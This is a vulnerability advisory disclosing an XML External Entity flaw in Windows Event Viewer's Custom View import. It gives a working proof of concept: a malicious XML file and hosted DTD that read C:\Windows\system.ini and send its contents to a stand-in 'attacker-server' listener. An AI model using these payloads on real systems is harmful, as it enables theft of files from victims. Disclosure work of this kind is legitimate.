Microsoft Event Viewer 1.0 XXE Injection

`[+] Credits: John Page aka hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-EVENT-VIEWER-XXE-FILE-EXFILTRATION.txt  
  
[+] ISR: ApparitionSec  
  
  
  
Vendor:  
=================  
www.microsoft.com  
  
  
  
Product:  
========================  
Microsoft Event Viewer  
Version: 1.0  
  
The Windows Event Viewer shows a log of application and system messages a  
errors, information messages, and warnings.  
  
  
Vulnerability Type:  
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XML External Entity  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
  
Windows Event Viewer user can import 'Custom View' files, these files  
contain XML, the parser processes External Entity potentially allowing  
attackers  
to gain remote file access to files on a victims system if user imports a  
corrupt XML file via remote share/USB (or other untrusted source).  
  
  
  
Tested Windows 7 SP1  
  
  
Exploit code(s):  
===============  
  
  
1) Go to Windows CL type 'eventvwr' to bring up Windows Event Viewer.  
2) Action / Import Custom View  
3) Import the malicious 'MyCustomView.xml' via remote share or USB for POC  
4) Files are accessed and sent to remote server.  
  
User gets error like "The specified custom view is not valid" attacker gets  
files!  
  
  
  
"payload.dtd" (host on attacker server)  
  
<?xml version="1.0" encoding="UTF-8"?>  
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-server:8080?%file;'>">  
%all;  
  
  
"MyCustomView.xml" (malicious windows Event Custom View XML)  
  
<?xml version="1.0"?>  
<!DOCTYPE APPARITION [  
<!ENTITY % file SYSTEM "C:\Windows\system.ini">  
<!ENTITY % dtd SYSTEM "http://attacker-server:8080/payload.dtd">  
%dtd;]>  
<pwn>&send;</pwn>  
  
  
Attacker server listener  
  
python -m SimpleHTTPServer 8080  
  
  
  
  
Disclosure Timeline:  
=====================================  
Vendor Notification: August 30, 2016  
Vendor reply: "does not meet the bar for security servicing." August 30,  
2016  
December 4, 2016 : Public Disclosure  
  
  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
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High  
  
  
  
  
[+] Disclaimer  
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prohibits any malicious use of security related information  
or exploits by the author or elsewhere.  
  
hyp3rlinx  
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